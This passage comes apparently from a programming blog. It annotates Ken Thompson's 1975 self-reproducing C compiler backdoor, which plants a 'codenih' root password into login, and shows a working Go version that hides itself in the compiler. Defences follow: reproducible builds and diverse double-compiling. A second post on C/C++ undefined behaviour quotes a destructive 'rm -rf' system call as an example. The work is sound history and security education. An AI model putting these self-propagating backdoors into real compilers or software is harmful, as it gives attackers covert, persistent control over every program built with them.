No match for `login` code. Next target: the distinctive line “`av[4] = "-P";`” from cc.c. If not found, jump to `l2`.	l1: s="av[4] = \"-P\";"; for(i=0;i<13;i++) if(s[i]!=p[i]) goto l2;
Increment `nihflg` to 1 to remember evidence of being in `cc.c`, and return.	nihflg++; goto l4;
Next target: input reading loop in `cc.c`, but only if we’ve seen the `av[4]` line too: the text “`while(getline()) {`” is too generic and may be in other programs. If not found, jump to `l3`.	l2: if(nihflg!=1) goto l3; s="while(getline()) {"; for(i=0;i<18;i++) if(s[i]!=p[i]) goto l3;
Append input-reading backdoor: call `codenih` (this very code!) after reading each line. Increment `nihflg` to 2 to move to next state.	p=+i; s="codenih();"; for(i=0;;i++) if(!(*p++=s[i])) break; nihflg++; goto l4;
Next target: flushing output in `cc.c`.	l3: if(nihflg!=2) goto l4; s="fflush(obuf);"; for(i=0;i<13;i++) if(s[i]!=p[i]) goto l4;
Insert end-of-file backdoor: call `repronih` to reproduce this very source file (the definitions of `codenih` and `repronih`) at the end of the now-backdoored text of `cc.c`.	p=+i; s="repronih();"; for(i=0;;i++) if(!(*p++=s[i])) break; nihflg++; l4:; }
Here the magic begins, as presented in the Turing lecture. The `%0` is not valid C. Instead, the script `rc` will replace the `%` with byte values for the text of this exact file, to be used by `repronih`.	char nihstr[] { %0 };
The magic continues.	repronih() { int i,n,c;
If `nihflg` is not 3, this is not `cc.c` so don’t do anything.	if(nihflg!=3) return;
The most cryptic part of the whole program. Scan over `nihstr` (indexed by `i`) in five phases according to the value `n`: `n=0`: emit literal text before “`%`” `n=1`: emit octal bytes of text before “`%`” `n=2`: emit octal bytes of “`%`” and rest of file `n=3`: no output, looking for “`%`” `n=4`: emit literal text after “`%`”	n=0; i=0; for(;;) switch(c=nihstr[i++]){
`045` is `'%'`, kept from appearing except in the magic location inside `nihstr`. Seeing `%` increments the phase. The phase transition 0 → 1 rewinds the input. Only phase 2 keeps processing the `%.`	case 045: n++; if(n==1) i=0; if(n!=2) continue;
In phases 1 and 2, emit octal byte value (like `0123,`) to appear inside `nihstr`. Note the comma to separate array elements, so the `0` in `nihstr`’s `%0` above is a final, terminating NUL byte for the array.	default: if(n==1\|\|n==2){ putc('0',obuf); if(c>=0100) putc((c>>6)+'0',obuf); if(c>=010) putc(((c>>3)&7)+'0',obuf); putc((c&7)+'0',obuf); putc(',',obuf); putc('\n',obuf); continue; }
In phases 0 and 4, emit literal byte value, to reproduce source file around the `%`.	if(n!=3) putc(c,obuf); continue;
Reaching end of `nihstr` increments the phase and rewinds the input. The phase transition 4 → 5 ends the function.	case 0: n++; i=0; if(n==5){ fflush(obuf); return; } } }
Now let’s read `rc`, a shell script.	% cat rc
Start the editor `ed` on `x.c`. The V6 shell `sh` opened input scripts on standard input, sharing it with invoked commands, so the lines that follow are for `ed`.	ed x.c
Delete all tabs from every line.	1,$s/ //g
Write the modified file to `nih.c` and quit. The shell will continue reading the input script.	w nih.c q
Octal dump bytes of `nih.c` into `x`. The output looks like: `% echo az \| od -b 0000000 141 172 012 000 0000003 %` Note the trailing `000` for an odd-sized input.	od -b nih.c >x
Back into `ed`, this time editing `x`.	ed x
Remove the leading file offsets, adding a `0` at the start of the first byte value.	1,$s/^....... 0*/0/
Replace each space before a byte value with a newline and a leading `0`. Now all the octal values are C octal constants.	1,$s/ 0*/\ 0/g
Delete 0 values caused by odd-length padding or by the final offset-only line.	g/^0$/d
Add trailing commas to each line.	1,$s/$/,/
Write `x` and switch to `nih.c`.	w x e nih.c
Move to and delete the magic `%0` line.	/%/d
Read `x` (the octal values) into the file there.	.-1r x
Add a trailing `0` to end the array.	.a 0 .
Write `nih.c` and quit. All done!	w nih.c q
Let’s run `rc`. The numbers are `ed` printing file sizes each time it reads or writes a file.	% sh rc 1314 1163 5249 6414 1163 6414 7576
Let’s check the output, `nih.c`. The tabs are gone and the octal bytes are there!	% cat nih.c nihflg; codenih() { char p,s; int i; if(pflag) return; ... char nihstr[] { 0156, 0151, 0150, 0146, ... 0175, 012, 0175, 012, 0 }; repronih() { int i,n,c; ...
Let’s make an evil compiler, applying the `codenih` changes by hand.	% cp /usr/source/s1/cc.c cc.c % cp cc.c ccevil.c % ed ccevil.c 12902
Add `codenih` after `getline`.	/getline/ while(getline()) { s/$/ codenih();/ . while(getline()) { codenih();
Add `repronih` after `fflush`.	/fflush/ fflush(obuf); s/$/ repronih();/ . fflush(obuf); repronih();
Add `nih.c` at the end of the file.	$r nih.c 7576 w 20501 q
Build the evil and good code with the good `cc`.	% cc ccevil.c; mv a.out ccevil % cc cc.c; mv a.out ccgood % ls -l ccevil ccgood -rwxrwxrwx 1 ken 12918 Aug 14 22:19 ccevil -rwxrwxrwx 1 ken 10724 Aug 14 22:19 ccgood
The good compiler still compiles the original `cc.c` correctly.	% ccgood cc.c % ls -l a.out -rwxrwxrwx 1 ken 10724 Aug 14 22:19 a.out
The evil compiler compiles the original `cc.c` with the backdoor: 12,918 bytes instead of 10,724.	% ccevil cc.c % ls -l a.out -rwxrwxrwx 1 ken 12918 Aug 14 22:19 a.out
The evil compilers don’t match exactly, but only because the binary contains the name of the source file (`ccevil.c` versus `cc.c`). One more round will converge them.	% cmp a.out ccevil a.out ccevil differ: char 9428, line 377 % cmp -l a.out ccevil 9428 56 145 9429 157 166 9430 0 151 9431 0 154 9432 0 56 9433 0 157 % cp a.out ccevil % ccevil cc.c % cmp a.out ccevil %
Let’s install the evil compiler.	% su password: root # cp ccevil /bin/cc
Let’s rebuild everything from clean sources. The compiler still contains the backdoor.	# cc /usr/source/s1/cc.c # cp a.out /bin/cc # ls -l /bin/cc -rwxrwxr-x 1 bin 12918 Aug 14 22:30 /bin/cc # cc /usr/source/s1/login.c # cp a.out /bin/login # ^D
Now we can log in as root with the magic password.	% ^D login: root Password: codenih # who root tty8 Aug 14 22:32 #

Timeline

This code can be dated to some time in the one-year period from June 1974 to June 1975, probably early 1975.

The code does not work in V5 Unix, released in June 1974. At the time, the C preprocessor code only processed input files that began with the first character ‘#’. The backdoor is in the preprocessor, and the V5 cc.c did not start with ‘#’ and so wouldn’t have been able to modify itself. The Air Force review of Multics security that Ken credits for inspiring the backdoor is also dated June 1974. So the code post-dates June 1974.

Although it wasn’t used in V6, the archive records the modification time (mtime) of each file it contains. We can read the mtime directly from the archive using a modern Unix system:

% hexdump -C nih.a
00000000  6d ff 78 2e 63 00 00 00  00 00 46 0a 6b 64 06 b6  |m.x.c.....F.kd..|
00000010  22 05 6e 69 68 66 6c 67  3b 0a 63 6f 64 65 6e 69  |".nihflg;.codeni|
...
00000530  7d 0a 7d 0a 72 63 00 00  00 00 00 00 46 0a eb 5e  |}.}.rc......F..^|
00000540  06 b6 8d 00 65 64 20 78  2e 63 0a 31 2c 24 73 2f  |....ed x.c.1,$s/|
% date -r 0x0a46646b  # BSD date. On Linux: date -d @$((0x0a46646b))
Thu Jun 19 00:49:47 EDT 1975
% date -r 0x0a465eeb
Thu Jun 19 00:26:19 EDT 1975
%

So the code was done by June 1975.

Controlled Deployment

In addition to the quote above from the Q&A, the story of the deployment of the backdoor has been told publicly many times (1 2 3 4 5 6 7), sometimes with conflicting minor details. Based on these many tellings, it seems clear that it was the PWB group (not USG as sometimes reported) that was induced to copy the backdoored C compiler, that eventually the login program on that system got backdoored too, that PWB discovered something was amiss because the compiler got bigger each time it compiled itself, and that eventually they broke the reproduction and ended up with a clean compiler.

John Mashey tells the story of the PWB group obtaining and discovering the backdoor and then him overhearing Ken and Robert H. Morris discussing it (1 2 3 (pp. 29-30) 4). In Mashey’s telling, PWB obtained the backdoor weeks after he read John Brunner’s classic book Shockwave Rider, which was published in early 1975. (It appeared in the “New Books” list in the New York Times on March 5, 1975 (p. 37).)

All tellings of this story agree that the compiler didn’t make it any farther than PWB. Eric S. Raymond’s Jargon File contains an entry for backdoor with rumors to the contrary. After describing Ken’s work, it says:

Ken says the crocked compiler was never distributed. Your editor has heard two separate reports that suggest that the crocked login did make it out of Bell Labs, notably to BBN, and that it enabled at least one late-night login across the network by someone using the login name “kt”.

I mentioned this to Ken, and he said it could not have gotten to BBN. The technical details don’t line up either: as we just saw, the login change only accepts “codenih” as a password for an account that already exists. So the Jargon File story is false.

Even so, it turns out that the backdoor did leak out in one specific sense. In 1997, Dennis Ritchie gave Warren Toomey (curator of the TUHS archive) a collection of old tape images. Some bits were posted then, and others were held back. In July 2023, Warren posted and announced the full set. One of the tapes contains various files from Ken, which Dennis had described as “A bunch of interesting old ken stuff (eg a version of the units program from the days when the dollar fetched 302.7 yen).” Unnoticed in those files is nih.a, dated July 3, 1975. When I wrote to Ken, he sent me a slightly different nih.a: it contained the exact same files, but dated January 28, 1998, and in the modern textual archive format rather than the binary V6 format. The V6 simulator contains the nih.a from Dennis’s tapes.

A Buggy Version

The backdoor was noticed because the compiler got one byte larger each time it compiled itself. About a decade ago, Ken told me that it was an extra NUL byte added to a string each time, “just a bug.” We can see which string constant it must have been (nihstr), but the version we just built does not have that bug—Ken says he didn’t save the buggy version. An interesting game would be to try to reconstruct the most plausible diff that reintroduces the bug.

It seems to me that to add an extra NUL byte each time, you need to use sizeof to decide when to stop the iteration, instead of stopping at the first NUL. My best attempt is:

 repronih()
 {
     int i,n,c;
     if(nihflg!=3)
         return;
-    n=0;
-    i=0;
-    for(;;)
+    for(n=0; n<5; n++)
+    for(i=0; i<sizeof nihstr; )
     switch(c=nihstr[i++]){
     case 045:
         n++;
         if(n==1)
             i=0;
         if(n!=2)
             continue;
     default:
         if(n==1||n==2){
             putc('0',obuf);
             if(c>=0100)
                 putc((c>>6)+'0',obuf);
             if(c>=010)
                 putc(((c>>3)&7)+'0',obuf);
             putc((c&7)+'0',obuf);
             putc(',',obuf);
             putc('\n',obuf);
             continue;
         }
         if(n!=3)
             putc(c,obuf);
         continue;
-    case 0:
-        n++;
-        i=0;
-        if(n==5){
-            fflush(obuf);
-            return;
-        }
     }
+    fflush(obuf);
 }

I doubt this was the actual buggy code, though: it’s too structured compared to the fixed version. And if the code had been written this way, it would have been easier to remove the 0 being added in the rc script than to complicate the code. But maybe.

Also note that the compiler cannot get one byte larger each time it compiles itself, because V6 Unix binaries were rounded up to a 2-byte boundary. While nihstr gets one byte larger each time, the compiler binary gets two bytes larger every second time.

A Modern Version

Even seeing the code run in the V6 simulator, it can be easy to mentally dismiss this kind of backdoor as an old problem. Here is a more modern variant.

The Go compiler reads input files using a routine called Parse in the package cmd/compile/internal/syntax. The input is abstracted as an io.Reader, so if we want to replace the input, we need to interpose a new reader. We can do that easily enough:

     var p parser
+    src = &evilReader{src: src}
     p.init(base, src, errh, pragh, mode)

Then we need to implement evilReader, which is not too difficult either:

type evilReader struct {
    src  io.Reader
    data []byte
    err  error
}

func (r *evilReader) Read(b []byte) (int, error) {
    if r.data == nil {
        data, err := io.ReadAll(r.src)
        s := string(data)
        if evilContains(s, "package main") && evilContains(s, "\"hello, world\\n\"") {
            s = evilReplace(s,
                "\"hello, world\\n\"",
                "\"backdoored!\\n\"")
        }
        if evilContains(s, "package syntax") && evilContains(s, "\nfunc Parse(base *PosBase, src io.Reader") {
            s = evilReplace(s,
                "p.init(base, src, errh, pragh, mode)",
                "src=&evilReader{src:src}; p.init(base, src, errh, pragh, mode)")
            s += evilSource()
        }
        r.data = []byte(s)
        r.err = err
    }
    if r.err != nil {
        return 0, r.err
    }
    n := copy(b, r.data)
    r.data = r.data[n:]
    if n == 0 {
        return 0, io.EOF
    }
    return n, nil
}

The first replacement rewrites a “hello, world” program to a “backdoored!” program. The second replacement reproduces the change inside the compiler. To make this work inside the compiler, we need evilSource to return the source code of the evilReader, which we know how to do. The evilContains and evilReplace functions are reimplementations of strings.Contains and strings.Replace, since the code in question does not import strings, and the build system may not have provided it for the compiler to import.

Completing the code:

func evilIndex(s, t string) int {
    for i := 0; i < len(s)-len(t); i++ {
        if s[i:i+len(t)] == t {
            return i
        }
    }
    return -1
}

func evilContains(s, t string) bool {
    return evilIndex(s, t) >= 0
}

func evilReplace(s, old, new string) string {
    i := evilIndex(s, old)
    if i < 0 {
        return s
    }
    return s[:i] + new + s[i+len(old):]
}

func evilSource() string {
    return "\n\n" + evilText + "\nvar evilText = \x60" + evilText + "\x60\n"
}

var evilText = `
type evilReader struct {
    src  io.Reader
    data []byte
    err  error
}

...

func evilSource() string {
    return "\n\n" + evilText + "\nvar evilText = \x60" + evilText + "\x60\n"
}
`

Now we can install it, delete the source code changes, and install the compiler from clean sources. The change persists:

% go install cmd/compile
% git stash
Saved working directory ...
% git diff  # source is clean!
% go install cmd/compile
% cat >x.go
package main

func main() {
    print("hello, world\n")
}
^D
% go run x.go
backdoored!
%

Reflections on Reflections

With all that experience behind us, a few observations from the vantage point of 2023.

It’s short! When Ken sent me nih.a and I got it running, my immediate reaction was disbelief at the size of the change: 99 lines of code, plus a 20-line shell script. If you already know how to make a program print itself, the biggest surprise is that there are no surprises!

It’s one thing to say “I know how to do it in theory” and quite another to see how small and straightforward the backdoor is in practice. In particular, hooking into source code reading makes it trivial. Somehow, I’d always imagined some more complex pattern matching on an internal representation in the guts of the compiler, not a textual substitution. Seeing it run, and seeing how tiny it is, really drives home how easy it would be to make a change like this and how important it is to build from trusted sources using trusted tools.

I don’t say any of this to put down Ken’s doing it in the first place: it seems easy because he did it and explained it to us. But it’s still very little code for an extremely serious outcome.

Bootstrapping Go. In the early days of working on and talking about Go, people often asked us why the Go compiler was written in C, not Go. The real reason is that we wanted to spend our time making Go a good language for distributed systems and not on making it a good language for writing compilers, but we would also jokingly respond that people wouldn’t trust a self-compiling compiler from Ken. After all, he had ended his Turing lecture by saying:

The moral is obvious. You can’t trust code that you did not totally create yourself. (Especially code from companies that employ people like me.) No amount of source-level verification or scrutiny will protect you from using untrusted code.

Today, however, the Go compiler does compile itelf, and that prompts the important question of why it should be trusted, especially when a backdoor is so easy to add. The answer is that we have never required that the compiler rebuild itself. Instead the compiler always builds from an earlier released version of the compiler. This way, anyone can reproduce the current binaries by starting with Go 1.4 (written in C), using Go 1.4 to compile Go 1.5, Go 1.5 to compile Go 1.6, and so on. There is no point in the cycle where the compiler is required to compile itself, so there is no place for a binary-only backdoor to hide. In fact, we recently published programs to make it easy to rebuild and verify the Go toolchains, and we demonstrated how to use them to verify one version of Ubuntu’s Go toolchain without using Ubuntu at all. See “Perfectly Reproducible, Verified Go Toolchains” for details.

Bootstrapping Trust. An important advancement since 1983 is that we know a defense against this backdoor, which is to build the compiler source two different ways.

Specifically, suppose we have the suspect binary – compiler 1 – and its source code. First, we compile that source code with a trusted second compiler, compiler 2, producing compiler 2.1. If everything is on the up-and-up, compiler 1 and compiler 2.1 should be semantically equivalent, even though they will be very different at the binary level, since they were generated by different compilers. Also, compiler 2.1 cannot contain a binary-only backdoor inserted by compiler 1, since it wasn’t compiled with that compiler. Now we compile the source code again with both compiler 1 and compiler 2.1. If they really are semantically equivalent, then the outputs, compilers 1.1 and 2.1.1, should be bit-for-bit identical. If that’s true, then we’ve established that compiler 1 does not insert any backdoors when compiling itself.

The great thing about this process is that we don’t even need to know which of compiler 1 and 2 might be backdoored. If compilers 1.1 and 2.1.1 are identical, then they’re either both clean or both backdoored the same way. If they are independent implementations from independent sources, the chance of both being backdoored the same way is far less likely than the chance of compiler 1 being backdoored. We’ve bootstrapped trust in compiler 1 by comparing it against compiler 2, and vice versa.

Another great thing about this process is that compiler 2 can be a custom, small translator that’s incredibly slow and not fully general but easier to verify and trust. All that matters is that it can run well enough to produce compiler 2.1, and that the resulting code runs well enough to produce compiler 2.1.1. At that point, we can switch back to the fast, fully general compiler 1.

This approach is called “diverse double-compiling,” and the definitive reference is David A. Wheeler’s PhD thesis and related links.

Reproducible Builds. Diverse double-compiling and any other verifying of binaries by rebuilding source code depends on builds being reproducible. That is, the same inputs should produce the same outputs. Computers being deterministic, you’d think this would be trivial, but in modern systems it is not. We saw a tiny example above, where compiling the code as ccevil.c produced a different binary than compiling the code as cc.c because the compiler embedded the file name in the executable. Other common unwanted build inputs include the current time, the current directory, the current user name, and many others, making a reproducible build far more difficult than it should be. The Reproducible Builds project collects resources to help people achieve this goal.

Modern Security. In many ways, computing security has regressed since the Air Force report on Multics was written in June 1974. It suggested requiring source code as a way to allow inspection of the system on delivery, and it raised this kind of backdoor as a potential barrier to that inspection. Half a century later, we all run binaries with no available source code at all. Even when source is available, as in open source operating systems like Linux, approximately no one checks that the distributed binaries match the source code. The programming environments for languages like Go, NPM, and Rust make it trivial to download and run source code published by strangers on the internet, and again almost no one is checking the code, until there is a problem. No one needs Ken’s backdoor: there are far easier ways to mount a supply chain attack.

On the other hand, given all our reckless behavior, there are far fewer problems than you would expect. Quite the opposite: we trust computers with nearly every aspect of our lives, and for the most part nothing bad happens. Something about our security posture must be better than it seems. Even so, it might be nicer to live in a world where the only possible attacks required the sophistication of approaches like Ken’s (like in this excellent science fiction story).

We still have work to do.

C and C++ Prioritize Performance over Correctness

2023-08-18T12:00:00-04:00

The original ANSI C standard, C89, introduced the concept of “undefined behavior,” which was used both to describe the effect of outright bugs like accessing memory in a freed object and also to capture the fact that existing implementations differed about handling certain aspects of the language, including use of uninitialized values, signed integer overflow, and null pointer handling.

The C89 spec defined undefined behavior (in section 1.6) as:

Undefined behavior—behavior, upon use of a nonportable or erroneous program construct, of erroneous data, or of indeterminately-valued objects, for which the Standard imposes no requirements. Permissible undefined behavior ranges from ignoring the situation completely with unpredictable results, to behaving during translation or program execution in a documented manner characteristic of the environment (with or without the issuance of a diagnostic message), to terminating a translation or execution (with the issuance of a diagnostic message).

Lumping both non-portable and buggy code into the same category was a mistake. As time has gone on, the way compilers treat undefined behavior has led to more and more unexpectedly broken programs, to the point where it is becoming difficult to tell whether any program will compile to the meaning in the original source. This post looks at a few examples and then tries to make some general observations. In particular, today’s C and C++ prioritize performance to the clear detriment of correctness.

Uninitialized variables

C and C++ do not require variables to be initialized on declaration (explicitly or implicitly) like Go and Java. Reading from an uninitialized variable is undefined behavior.

In a blog post, Chris Lattner (creator of LLVM and Clang) explains the rationale:

Use of an uninitialized variable: This is commonly known as source of problems in C programs and there are many tools to catch these: from compiler warnings to static and dynamic analyzers. This improves performance by not requiring that all variables be zero initialized when they come into scope (as Java does). For most scalar variables, this would cause little overhead, but stack arrays and malloc’d memory would incur a memset of the storage, which could be quite costly, particularly since the storage is usually completely overwritten.

Early C compilers were too crude to detect use of uninitialized basic variables like integers and pointers, but modern compilers are dramatically more sophisticated. They could absolutely react in these cases by “terminating a translation or execution (with the issuance of a diagnostic message),” which is to say reporting a compile error. Or, if they were worried about not rejecting old programs, they could insert a zero initialization with, as Lattner admits, little overhead. But they don’t do either of these. Instead, they just do whatever they feel like during code generation.

For example, here’s a simple C++ program with an uninitialized variable (a bug):

#include <stdio.h>

int main() {
    for(int i; i < 10; i++) {
        printf("%d\n", i);
    }
    return 0;
}

If you compile this with clang++ -O1, it deletes the loop entirely: main contains only the return 0. In effect, Clang has noticed the uninitialized variable and chosen not to report the error to the user but instead to pretend i is always initialized above 10, making the loop disappear.

It is true that if you compile with -Wall, then Clang does report the use of the uninitialized variable as a warning. This is why you should always build with and fix warnings in C and C++ programs. But not all compiler-optimized undefined behaviors are reliably reported as warnings.

Arithmetic overflow

At the time C89 was standardized, there were still legacy ones’-complement computers, so ANSI C could not assume the now-standard two’s-complement representation for negative numbers. In two’s complement, an int8 −1 is 0b11111111; in ones’ complement that’s −0, while −1 is 0b11111110. This meant that operations like signed integer overflow could not be defined, because

int8 127+1 = 0b01111111+1 = 0b10000000

is −127 in ones’ complement but −128 in two’s complement. That is, signed integer overflow was non-portable. Declaring it undefined behavior let compilers escalate the behavior from “non-portable”, with one of two clear meanings, to whatever they feel like doing. For example, a common thing programmers expect is that you can test for signed integer overflow by checking whether the result is less than one of the operands, as in this program:

#include <stdio.h>

int f(int x) {
    if(x+100 < x)
        printf("overflow\n");
    return x+100;
}

Clang optimizes away the if statement. The justification is that since signed integer overflow is undefined behavior, the compiler can assume it never happens, so x+100 must never be less than x. Ironically, this program would correctly detect overflow on both ones’-complement and two’s-complement machines if the compiler would actually emit the check.

In this case, clang++ -O1 -Wall prints no warning while it deletes the if statement, and neither does g++, although I seem to remember it used to, perhaps in subtly different situations or with different flags.

For C++20, the first version of proposal P0907 suggested standardizing that signed integer overflow wraps in two’s complement. The original draft gave a very clear statement of the history of the undefined behavior and the motivation for making a change:

[C11] Integer types allows three representations for signed integral types:

Signed magnitude
Ones’ complement
Two’s complement

See §4 C Signed Integer Wording for full wording.
C++ inherits these three signed integer representations from C. To the author’s knowledge no modern machine uses both C++ and a signed integer representation other than two’s complement (see §5 Survey of Signed Integer Representations). None of [MSVC], [GCC], and [LLVM] support other representations. This means that the C++ that is taught is effectively two’s complement, and the C++ that is written is two’s complement. It is extremely unlikely that there exist any significant code base developed for two’s complement machines that would actually work when run on a non-two’s complement machine.
The C++ that is spec’d, however, is not two’s complement. Signed integers currently allow for trap representations, extra padding bits, integral negative zero, and introduce undefined behavior and implementation-defined behavior for the sake of this extremely abstract machine.
Specifically, the current wording has the following effects:

Associativity and commutativity of integers is needlessly obtuse.
Naïve overflow checks, which are often security-critical, often get eliminated by compilers. This leads to exploitable code when the intent was clearly not to and the code, while naïve, was correctly performing security checks for two’s complement integers. Correct overflow checks are difficult to write and equally difficult to read, exponentially so in generic code.
Conversion between signed and unsigned are implementation-defined.
There is no portable way to generate an arithmetic right-shift, or to sign-extend an integer, which every modern CPU supports.
constexpr is further restrained by this extraneous undefined behavior.
Atomic integral are already two’s complement and have no undefined results, therefore even freestanding implementations already support two’s complement in C++.

Let’s stop pretending that the C++ abstract machine should represent integers as signed magnitude or ones’ complement. These theoretical implementations are a different programming language, not our real-world C++. Users of C++ who require signed magnitude or ones’ complement integers would be better served by a pure-library solution, and so would the rest of us.

In the end, the C++ standards committee put up “strong resistance against” the idea of defining signed integer overflow the way every programmer expects; the undefined behavior remains.

Infinite loops

A programmer would never accidentally cause a program to execute an infinite loop, would they? Consider this program:

#include <stdio.h>

int stop = 1;

void maybeStop() {
    if(stop)
        for(;;);
}

int main() {
    printf("hello, ");
    maybeStop();
    printf("world\n");
}

This seems like a completely reasonable program to write. Perhaps you are debugging and want the program to stop so you can attach a debugger. Changing the initializer for stop to 0 lets the program run to completion. But it turns out that, at least with the latest Clang, the program runs to completion anyway: the call to maybeStop is optimized away entirely, even when stop is 1.

The problem is that C++ defines that every side-effect-free loop may be assumed by the compiler to terminate. That is, a loop that does not terminate is therefore undefined behavior. This is purely for compiler optimizations, once again treated as more important than correctness. The rationale for this decision played out in the C standard and was more or less adopted in the C++ standard as well.

John Regehr pointed out this problem in his post “C Compilers Disprove Fermat’s Last Theorem,” which included this entry in a FAQ:

Q: Does the C standard permit/forbid the compiler to terminate infinite loops?
A: The compiler is given considerable freedom in how it implements the C program, but its output must have the same externally visible behavior that the program would have when interpreted by the “C abstract machine” that is described in the standard. Many knowledgeable people (including me) read this as saying that the termination behavior of a program must not be changed. Obviously some compiler writers disagree, or else don’t believe that it matters. The fact that reasonable people disagree on the interpretation would seem to indicate that the C standard is flawed.

A few months later, Douglas Walls wrote WG14/N1509: Optimizing away infinite loops, making the case that the standard should not allow this optimization. In response, Hans-J. Boehm wrote WG14/N1528: Why undefined behavior for infinite loops?, arguing for allowing the optimization.

Consider the potential optimization of this code:

for (p = q; p != 0; p = p->next)
    ++count;
for (p = q; p != 0; p = p->next)
    ++count2;

A sufficiently smart compiler might reduce it to this code:

for (p = q; p != 0; p = p->next) {
        ++count;
        ++count2;
}

Is that safe? Not if the first loop is an infinite loop. If the list at p is cyclic and another thread is modifying count2, then the first program has no race, while the second program does. Compilers clearly can’t turn correct, race-free programs into racy programs. But what if we declare that infinite loops are not correct programs? That is, what if infinite loops were undefined behavior? Then the compiler could optimize to its robotic heart’s content. This is exactly what the C standards committee decided to do.

The rationale, paraphrased, was:

It is very difficult to tell if a given loop is infinite.
Infinite loops are rare and typically unintentional.
There are many loop optimizations that are only valid for non-infinite loops.
The performance wins of these optimizations are deemed important.
Some compilers already apply these optimizations, making infinite loops non-portable too.
Therefore, we should declare programs with infinite loops undefined behavior, enabling the optimizations.

Null pointer usage

We’ve all seen how dereferencing a null pointer causes a crash on modern operating systems: they leave page zero unmapped by default precisely for this purpose. But not all systems where C and C++ run have hardware memory protection. For example, I wrote my first C and C++ programs using Turbo C on an MS-DOS system. Reading or writing a null pointer did not cause any kind of fault: the program just touched the memory at location zero and kept running. The correctness of my code improved dramatically when I moved to a Unix system that made those programs crash at the moment of the mistake. Because the behavior is non-portable, though, dereferencing a null pointer is undefined behavior.

At some point, the justification for keeping the undefined behavior became performance. Chris Lattner explains:

In C-based languages, NULL being undefined enables a large number of simple scalar optimizations that are exposed as a result of macro expansion and inlining.

In an earlier post, I showed this example, lifted from Twitter in 2017:

#include <cstdlib>

typedef int (*Function)();

static Function Do;

static int EraseAll() {
    return system("rm -rf slash");
}

void NeverCalled() {
    Do = EraseAll;
}

int main() {
    return Do();
}

Because calling Do() is undefined behavior when Do is null, a modern C++ compiler like Clang simply assumes that can’t possibly be what’s happening in main. Since Do must be either null or EraseAll and since null is undefined behavior, we might as well assume Do is EraseAll unconditionally, even though NeverCalled is never called. So this program can be (and is) optimized to:

int main() {
    return system("rm -rf slash");
}

Lattner gives an equivalent example (search for FP()) and then this advice:

The upshot is that it is a fixable issue: if you suspect something weird is going on like this, try building at -O0, where the compiler is much less likely to be doing any optimizations at all.

This advice is not uncommon: if you cannot debug the correctness problems in your C++ program, disable optimizations.

Crashes out of sorts

C++’s std::sort sorts a collection of values (abstracted as a random access iterator, but almost always an array) according to a user-specified comparison function. The default function is operator<, but you can write any function. For example if you were sorting instances of class Person your comparison function might sort by the LastName field, breaking ties with the FirstName field. These comparison functions end up being subtle yet boring to write, and it’s easy to make a mistake. If you do make a mistake and pass in a comparison function that returns inconsistent results or accidentally reports that any value is less than itself, that’s undefined behavior: std::sort is now allowed to do whatever it likes, including walking off either end of the array and corrupting other memory. If you’re lucky, it will pass some of this memory to your comparison function, and since it won’t have pointers in the right places, your comparison function will crash. Then at least you have a chance of guessing the comparison function is at fault. In the worst case, memory is silently corrupted and the crash happens much later, with std::sort is nowhere to be found.

Programmers make mistakes, and when they do, std::sort corupts memory. This is not hypothetical. It happens enough in practice to be a popular question on StackOverflow.

As a final note, it turns out that operator< is not a valid comparison function on floating-point numbers if NaNs are involved, because:

1 < NaN and NaN < 1 are both false, implying NaN == 1.
2 < NaN and NaN < 2 are both false, implying NaN == 2.
Since NaN == 1 and NaN == 2, 1 == 2, yet 1 < 2 is true.

Programming with NaNs is never pleasant, but it seems particularly extreme to allow std::sort to crash when handed one.

Reflections and revealed preferences

Looking over these examples, it could not be more obvious that in modern C and C++, performance is job one and correctness is job two. To a C/C++ compiler, a programmer making a mistake and (gasp!) compiling a program containing a bug is just not a concern. Rather than have the compiler point out the bug or at least compile the code in a clear, understandable, debuggable manner, the approach over and over again is to let the compiler do whatever it likes, in the name of performance.

This may not be the wrong decision for these languages. There are undeniably power users for whom every last bit of performance translates to very large sums of money, and I don’t claim to know how to satisfy them otherwise. On the other hand, this performance comes at a significant development cost, and there are probably plenty of people and companies who spend more than their performance savings on unnecessarily difficult debugging sessions and additional testing and sanitizing. It also seems like there must be a middle ground where programmers retain most of the control they have in C and C++ but the program doesn’t crash when sorting NaNs or behave arbitrarily badly if you accidentally dereference a null pointer. Whatever the merits, it is important to see clearly the choice that C and C++ are making.

In the case of arithmetic overflow, later drafts of the proposal removed the defined behavior for wrapping, explaining:

The main change between [P0907r0] and the subsequent revision is to maintain undefined behavior when signed integer overflow occurs, instead of defining wrapping behavior. This direction was motivated by:

Performance concerns, whereby defining the behavior prevents optimizers from assuming that overflow never occurs;
Implementation leeway for tools such as sanitizers;
Data from Google suggesting that over 90% of all overflow is a bug, and defining wrapping behavior would not have solved the bug.

Again, performance concerns rank first. I find the third item in the list particularly telling. I’ve known C/C++ compiler authors who got excited about a 0.1% performance improvement, and incredibly excited about 1%. Yet here we have an idea that would change 10% of affected programs from incorrect to correct, and it is rejected, because performance is more important.

The argument about sanitizers is more nuanced. Leaving a behavior undefined allows any implementation at all, including reporting the behavior at runtime and stopping the program. True, the widespread use of undefined behavior enables sanitizers like ThreadSanitizer, MemorySanitizer, and UBSan, but so would defining the behavior as “either this specific behavior, or a sanitizer report.” If you believed correctness was job one, you could define overflow to wrap, fixing the 10% of programs outright and making the 90% behave at least more predictably, and then at the same time define that overflow is still a bug that can be reported by sanitizers. You might object that requiring wrapping in the absence of a sanitizer would hurt performance, and that’s fine: it’s just more evidence that performance trumps correctness.

One thing I find surprising, though, is that correctness gets ignored even when it clearly doesn’t hurt performance. It would certainly not hurt performance to emit a compiler warning about deleting the if statement testing for signed overflow, or about optimizing away the possible null pointer dereference in Do(). Yet I could find no way to make compilers report either one; certainly not -Wall.

The explanatory shift from non-portable to optimizable also seems revealing. As far as I can tell, C89 did not use performance as a justification for any of its undefined behaviors. They were non-portabilities, like signed overflow and null pointer dereferences, or they were outright bugs, like use-after-free. But now experts like Chris Lattner and Hans Boehm point to optimization potential, not portability, as justification for undefined behaviors. I conclude that the rationales really have shifted from the mid-1980s to today: an idea that meant to capture non-portability has been preserved for performance, trumping concerns like correctness and debuggability.

Occasionally in Go we have changed library functions to remove surprising behavior, It’s always a difficult decision, but we are willing to break existing programs depending on a mistake if correcting the mistake fixes a much larger number of programs. I find it striking that the C and C++ standards committees are willing in some cases to break existing programs if doing so merely speeds up a large number of programs. This is exactly what happened with the infinite loops.

